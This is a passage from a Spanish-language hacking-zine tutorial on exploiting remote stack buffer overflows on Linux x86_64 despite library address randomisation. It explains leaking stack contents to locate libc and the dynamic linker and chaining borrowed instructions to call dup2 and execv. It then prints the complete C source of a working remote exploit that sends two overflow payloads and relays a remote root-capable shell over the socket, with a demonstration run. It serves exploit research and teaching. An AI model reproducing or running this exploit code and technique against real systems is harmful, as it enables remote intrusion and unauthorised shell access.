0x2b0559a20e64. En realidad esa es la direccion de retorno de 'main'. Bueno, pues buscando en la pila el valor de '_start' obtenemos el de __libc_start_main+244 (esto puede cambiar dependiendo de la version de libc, puede ser +238, etc.). La direccion de '_start' es: [raise@enyelab x86_64]$ objdump -f bof2 | grep start start address 0x0000000000400740 Si vemos en el 'printeo' del stack esa direccion, aparece despues de 0x2b0d0b252e64 (__libc_start_main+244). Ahora hacemos: [raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep __libc_start_main 000000000001cd70 g DF .text 00000000000001a5 GLIBC_2.2.5 __libc_start_main Para sacar la direccion base de libc solo hay que coger la de __libc_start_main+244 y restarle (244 + 0x1cd70), todo en tiempo de ejecucion. Pero no solo eso, vamos a sacar tambien la direccion exacta de 'buf' de manejador(), ya que la necesitaremos. Otra vez volvemos a analizar el printeo anterior del stack. Pues bien, en 3 posiciones anteriores a la direccion de retorno de main (la que apunta a __libc_start_main+244) estara guardada la direccion del stack inicial del proceso, ya que la ha salvado en la pila la propia libc en una subllamada de __libc_start_main. La cuestion es que para un mismo ejecutable la distancia entre el stack inicial y buf sera la misma, concretamente en mi bof2 0x530, con lo que haciendo una cuenta conseguimos la direccion exacta de buf en tiempo de ejecucion. Dios, esto no acaba nunca.. Bueno, pues seguimos. Necesitaremos llamar al menos a 2 funciones de la libc: execv() y dup2(), por lo que averiguamos sus offsets dentro de la libc: raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep execv 00000000000949c0 g DF .text 000000000000000f GLIBC_2.2.5 execv [raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep dup2 00000000000bed80 w DF .text 0000000000000025 GLIBC_2.2.5 dup2 Pues ya tenemos casi todo, ahora solo hace falta encontrar dentro de alguna lib cargada en memoria por 'bof2' las instrucciones adecuadas para inicializar los registros correspondientes. Veamos las libs: [raise@enyelab x86_64]$ ldd bof2 libc.so.6 => /lib64/libc.so.6 (0x00002b41862b0000) /lib64/ld-linux-x86-64.so.2 (0x00002b4186195000) ld-linux-x86-64.so.2 es el enlazador dinamico, que se carga en memoria como una libreria normal. No estaria de mas averiguar su direccion tambien por si tenemos que saltar a ella (que lo necesitaremos). Como una vez averiguada libc las demas libs siempre estaran a la misma distancia, solo tenemos que restar sus direcciones, siempre dara el mismo valor: 0x00002b41862b0000 - 0x00002b4186195000 = 0x11b000 Al valor de la libc le restamos 0x11b000 y ya tenemos la direccion base de /lib64/ld-linux-x86-64.so.2. Ahora si, buscamos las direcciones que nos interesan, que son las siguientes (dadas en offsets): libc (0xd81ba): pop %rsi retq libc (0xd8190): pop %rdx pop %r10 retq ld-linux (0xc29b): mov (%rsp),%rdi mov %rax,(%rdx) callq *0x8(%rsp) Con todo eso en la mano estamos en disposicion de hacer nuestro overflow, el esquema seria: dup2(socket, 0); dup2(socket, 1); dup2(socket, 2); execv("/bin/sh", &NULL); --> direccion de un null Para hacer los dup2(), es muy facil, puesto que en %rdi ya tenemos el socket (recordemos que no se modifico despues del overflow, sigue estando ahi porque era el primer argumento de read), solo tenemos que ir colocando los valores 0, 1 y 2 en %rsi e ir llamando a dup2(). Para colocar los valores en %rsi usaremos 0xd81ba en la libc (3 llamadas seguidas), como controlamos el stack controlaremos lo que 'poppeamos' a %rsi. Despues tenemos que copiar la direccion del string '/bin/sh' en %rdi, la de un NULL en %rsi, y llamar a execv(). Para poner la direccion de un NULL en %rsi volvemos a usar 0xd81ba en libc. Para la direccion del string usaremos 0xc29b en ld-linux; copiara el contenido del tope del stack (un puntero al string que nosotros colocaremos) a %rdi. Os preguntareis: que narices pinta %rdx ahi?, nada. Lo que pasa que entre el 'mov (%rsp),%rdi' y el 'callq *0x8(%rsp)' se copia %rax a la direccion a la que apunta %rdx, por lo tanto tenemos que asegurarnos que %rdx apunta a una direccion valida, y ahi es donde entra en juego 0xd8190 en la libc: copiaremos a %rdx un valor que nos interese (%r10 ahi tampoco pinta nada, pero no nos molesta). Al final el buffer que le pasamos en el segundo overflow tiene una pinta tal que asi: *NULL* *AAAAAAAA* */bin/sh\0* *1031 AAAAA's* --> total: 1048 *&pop_rsi* *0* *&dup2()* *&pop_rsi* *1* *&dup2()* *&pop_rsi* *2* *&dup2()* *&pop_rsi* *&buf* *&libc+0xd8190* *&buf[32]* *AAAAAAAA* *&lib_ld+0xc29b* *&buf[16]* *&execv* *\n* En total 1185 bytes. La primera linea ocupa justo 1048 bytes, que era lo necesario para producir el segundo overflow. Despues hay 3 llamadas a dup2() con 0, 1 y 2 de argumento. Luego se vuelve a colocar en %rsi la direccion de buf, y se coloca &buf[32] en %rdx para que sobreescriba justo ahi el 'mov %rax,(%rdx)'. Las 8 A's son para el 'pop %r10'. Despues copia el contenido del tope del stack a %rdi, que es &buf[16] (la direccion del string de "/bin/sh"), y salta a execv. Como en %rsi tenemos la direccion de buf, y justo al comienzo del mismo hay un null ya lo tenemos todo :). Lo probamos: [raise@enyelab x86_64]$ ./bof2 7777 & [1] 3944 [raise@enyelab x86_64]$ ./xpbof2 127.0.0.1 7777 * Conectando * Enviando bof * Leyendo stack ... * Buscando __libc_start_main+244 * libc base: 0x2b497bfb4000 * lib_ld base: 0x2b497be99000 * %rsi remoto: 0x7fff2ec0db50 * Enviando bof #2 * lanzando shell ... id uid=500(raise) gid=500(raise) grupos=500(raise) Funciona! ;P. Por cierto, si bof2 tiene suid root pasa lo de antes, que la shell te quita el euid 0. Para solucionarlo habria que ejecutar setuid(0) por ejemplo, o mas sencillo ejecutar otra shell (cambiar /bin/sh por /bin/bsh, etc.). Ahi va el codigo del exploit: ---- xpbof2.c ---- #include #include #include #include #include #include #include #include #include #include #define EXECV_OFFSET 0x949c0 #define DUP2_OFFSET 0xbed80 #define READ_PLT 0x0000000000400680 #define WRITE_PLT 0x00000000004006a0 #define STARTADDR 0x400740 int main(int argc, char *argv[]) { char buf[2048], trash[2048], stack[4096]; unsigned long libc, lib_ld, rsi, pop_rsi; unsigned long *p = (unsigned long *) buf; struct sockaddr_in dire; fd_set s_read; unsigned char tmp; int i, n, soc; if (argc != 3) { printf("uso: %s ip puerto\n", argv[0]); exit(-1); } /* protocolo de conexion */ if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) { fprintf(stderr, "Error al crear el socket.\n"); exit(-1); } bzero((void *) &dire, sizeof(dire)); dire.sin_family = AF_INET; dire.sin_port = htons(atoi(argv[2])); dire.sin_addr.s_addr = inet_addr(argv[1]); printf("* Conectando\n"); if ((connect(soc, (struct sockaddr *) &dire, sizeof(dire))) == -1) { printf("error al conectar\n"); exit(-1); } /* fin de protocolo de conexion */ memset(buf, 0x00, sizeof(buf)); for (i=0; i < 128; i++) *p++ = (unsigned long) 0x4141414141414141; *p++ = 0x4242424242424242; *p++ = WRITE_PLT; *p = READ_PLT; buf[1048] = 0xa; // cabecera read(soc, (void *) trash, sizeof(trash)); printf("* Enviando bof\n"); write(soc, (void *) buf, 1049); // bof printf("* Leyendo stack ...\n"); n = read(soc, (void *) stack, 2048); // leemos stack printf("* Buscando __libc_start_main+244\n"); p = (unsigned long *) stack; for(i=0; i < n; i+=8) { if (*p == STARTADDR) /* _start */ { p--; break; } else p++; } libc = (unsigned long) *p; libc = libc - (244 + 0x1cd70); lib_ld = libc - 0x11b000; p -= 3; rsi = (unsigned long) ((*p) - 0x530); pop_rsi = (unsigned long) libc + 0xd81ba; printf("* libc base: %p\n", libc); printf("* lib_ld base: %p\n", lib_ld); printf("* %%rsi remoto: %p\n", rsi); printf("* Enviando bof #2\n"); /* el primer long sera un null */ memset(buf, 0, 8); memset(&buf[8], 0x41, 1048); strcpy(&buf[16], "/bin/ash"); p = (unsigned long *) &buf[1048]; *p++ = (unsigned long) pop_rsi; *p++ = (unsigned long) 0; *p++ = (unsigned long) libc + DUP2_OFFSET; *p++ = (unsigned long) pop_rsi; *p++ = (unsigned long) 1; *p++ = (unsigned long) libc + DUP2_OFFSET; *p++ = (unsigned long) pop_rsi; *p++ = (unsigned long) 2; *p++ = (unsigned long) libc + DUP2_OFFSET; *p++ = (unsigned long) pop_rsi; *p++ = (unsigned long) rsi; *p++ = (unsigned long) libc + 0xd8190; *p++ = (unsigned long) rsi+32; /* rdx */ *p++ = 0x4141414141414141; /* basura, pop %r10 -> 0x4141.. */ *p++ = ((unsigned long)(lib_ld + 0xc29b)); *p++ = (unsigned long) rsi+16; /* rdi nuevo */ *p = (unsigned long) libc + EXECV_OFFSET; buf[1184] = 0xa; write(soc, buf, 1185); printf("* lanzando shell ...\n\n"); /* bucle para multiplexar los sockets */ while(1) { FD_ZERO(&s_read); FD_SET(0, &s_read); FD_SET(soc, &s_read); select((soc > 0 ? soc+1 : 0+1), &s_read, 0, 0, NULL); if (FD_ISSET(0, &s_read)) { if (read(0, &tmp, 1) == 0) break; write(soc, &tmp, 1); } if (FD_ISSET(soc, &s_read)) { if (read(soc, &tmp, 1) == 0) break; write(1, &tmp, 1); } } /* fin while(1) */ } /*********** fin main ***********/ ---- eof ---- Os recuerdo que para probar los PoC's hay que ajustar los valores necesarios (direcciones de entradas PLT, offsets de las libs, etc.). ------[ 7.- Conclusiones ] Bueno, parece que explotar overflows en Linux x86_64 sigue siendo posible, dificil.., pero posible. En exploits locales la cosa se facilita mucho, ya que disponemos de las copias de los ejecutables y librerias del sistema para sacar los offets. En remotos es algo mas complicado, pero disponiendo de los datos necesarios es tambien explotable. De todas formas la cosa se puede poner mas complicado si al final el propio ejecutable es cargado en memoria como las libs (posicion pseudoaleatoria), aunque de momento eso no esta implantado (aunque si desarrollado). Nota: A todo esto, en este texto se da por supuesto que /proc/PID/maps esta desactivado, y que no podria utilizarse para conocer datos de memoria como donde se cargan las librerias, etc. ------[ 8.- Despedida ] Por fin he acabado el texto :). Lo siento por el toston de explicar los PoC's, dije que no iba a enrollarme y al final he escrito unas parrafadas del 15. Bueno, y que pongo yo aqui ahora? :?. Pues nada, saludos a todos los lectores/as, a los que me han ayudado a testear los PoC's (kenshin, nomuryto), y a todos los asiduos de SET y eNYe Sec. Hasta la proxima!. RaiSe http://www.enye-sec.org =-|================================================================ EOF =====|